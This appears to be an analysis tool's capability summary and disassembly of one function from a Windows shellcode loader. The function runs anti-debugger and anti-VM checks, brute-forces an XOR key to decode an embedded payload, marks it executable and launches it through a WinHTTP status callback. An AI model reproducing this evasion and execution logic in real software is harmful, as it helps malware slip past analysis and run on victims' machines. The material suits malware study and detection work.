Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Encode data using xor
Get disk information
Get local ipv4 addresses
Get memory capacity
Get system information on windows
Initialize winhttp library

Disassembly:
sub rsp, 0x108
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140001073
lea rdx, [0x140003478]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001880
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001ac0
add rsp, 0x108
ret
mov dword [rsp + 0x68], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x1400010a3
cmp dword [rsp + 0x68], 0
je 0x1400010a3
lea rdx, [0x140003490]
jmp 0x14000103a
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x1400010be
lea rdx, [0x1400034b0]
jmp 0x14000103a
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], rbp
mov qword [rsp + 0x128], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400010f4
imul rbx, rax, 0x64
jmp 0x140001110
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], 0x64
call fcn.1400016b0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x140001141
imul rcx, rax, 0x64
jmp 0x14000115c
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rcx, rax
sub rcx, rbx
movabs rbp, 0x431bde82d7b634db
mov rax, rbp
imul rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rdx
sar rbx, 0x12
mov rax, rbx
shr rax, 0x3f
add rbx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_long___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp rbx, 0x64
jge 0x1400011b2
lea rdx, str.This_program_may_be_running_in_a_sandbox_
jmp 0x140001263
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140001210
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_system_memory_status.
call fcn.140001880
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000125c
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0xb4]
xor edx, edx
mov rax, qword [rsp + 0x88]
div rcx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 0x3d0900
jge 0x140001289
lea rdx, str.The_memory_page_is_smaller_than_normal_and_may_be_in_a_virtual_machine_environment
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001880
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001608
mov qword [rsp + 0x120], rsi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor edi, edi
mov esi, eax
xor bl, bl
nop dword [rax]
movzx r8d, bl
bt esi, r8d
jae 0x1400012d4
add r8d, 0x41
lea rdx, str._c:_
lea rcx, [rsp + 0x60]
call fcn.140001a50
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
cmp eax, 1
ja 0x1400012d4
inc edi
inc bl
cmp bl, 0x1a
jl 0x1400012a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp edi, 2
jge 0x14000130b
lea rdx, str.The_number_of_hard_disks_is_smaller_than_normal__and_the_hard_disks_may_be_in_a_VM_environment
jmp 0x1400013df
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x50], 4
ja 0x14000134a
lea rdx, str.If_the_number_of_cpus_is_smaller_than_normal__the_system_may_be_running_on_a_VM
jmp 0x1400013df
xor r9d, r9d
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x60]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov ecx, dword [rsp + 0x60]
call fcn.140001ae0
mov rdi, rax
xor r8d, r8d
lea rax, [rsp + 0x60]
mov r9, rdi
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r8 + 0x10]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
xor ebx, ebx
nop dword [rax + rax]
mov ecx, ebx
inc ebx
cmp dword [rdi + 0x68], 1
mov rdi, qword [rdi + 8]
cmovne ebx, ecx
test rdi, rdi
jne 0x1400013a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp ebx, 2
jge 0x140001405
lea rdx, str.The_number_of_network_adapters_is_smaller_than_normal__and_the_network_adapter_may_be_in_a_VM_environment
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001880
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140001600
mov qword [rsp + 0x100], r13
lea r13, [0x140005040]
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0xf0], r15
mov r15d, 0x1f4
mov qword [rsp + 0x60], 0x64
dec r15d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001454
imul rdi, rax, 0x64
jmp 0x14000146f
cqo
idiv rbx
imul rdi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rdi, rax
lea rcx, [rsp + 0x60]
call fcn.1400016b0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001497
imul rbx, rax, 0x64
jmp 0x1400014b3
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
xor ecx, ecx
sub rbx, rdi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x88888889
imul r8d
mov rax, rbp
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1e
imul rbx
sub r8d, ecx
mov ecx, 0x37d
sar rdx, 0x12
add r8d, 0xb1ca4
mov r14, rdx
shr r14, 0x3f
add r14, rdx
add r14d, r8d
call fcn.140001ae0
mov ecx, r14d
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbp, r13
mov rbx, rsi
sub rbp, rsi
mov edi, 0x37d
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x92c6f3ad
imul r8d
add edx, r8d
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x37d
sub r8d, ecx
inc r8b
xor r8b, byte [rbx + rbp - 1]
xor r8b, r14b
mov byte [rbx - 1], r8b
sub rdi, 1
jne 0x140001530
cmp byte [rsi], 0xfc
jne 0x14000157b
cmp byte [rsi + 1], 0x48
je 0x14000158f
test r15d, r15d
je 0x1400015e6
movabs rbp, 0x431bde82d7b634db
jmp 0x140001433
lea r9, [rsp + 0x60]
mov edx, 0x37d
mov r8d, 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.User_Agent
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor r9d, r9d
mov r8d, 0xc00
mov rcx, rax
mov rdx, rsi
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetStatusCallback]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov r15, qword [rsp + 0xf0]
xor eax, eax
mov r14, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x100]
mov rsi, qword [rsp + 0x120]
mov rbp, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x110]
mov rdi, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001ac0
add rsp, 0x108
ret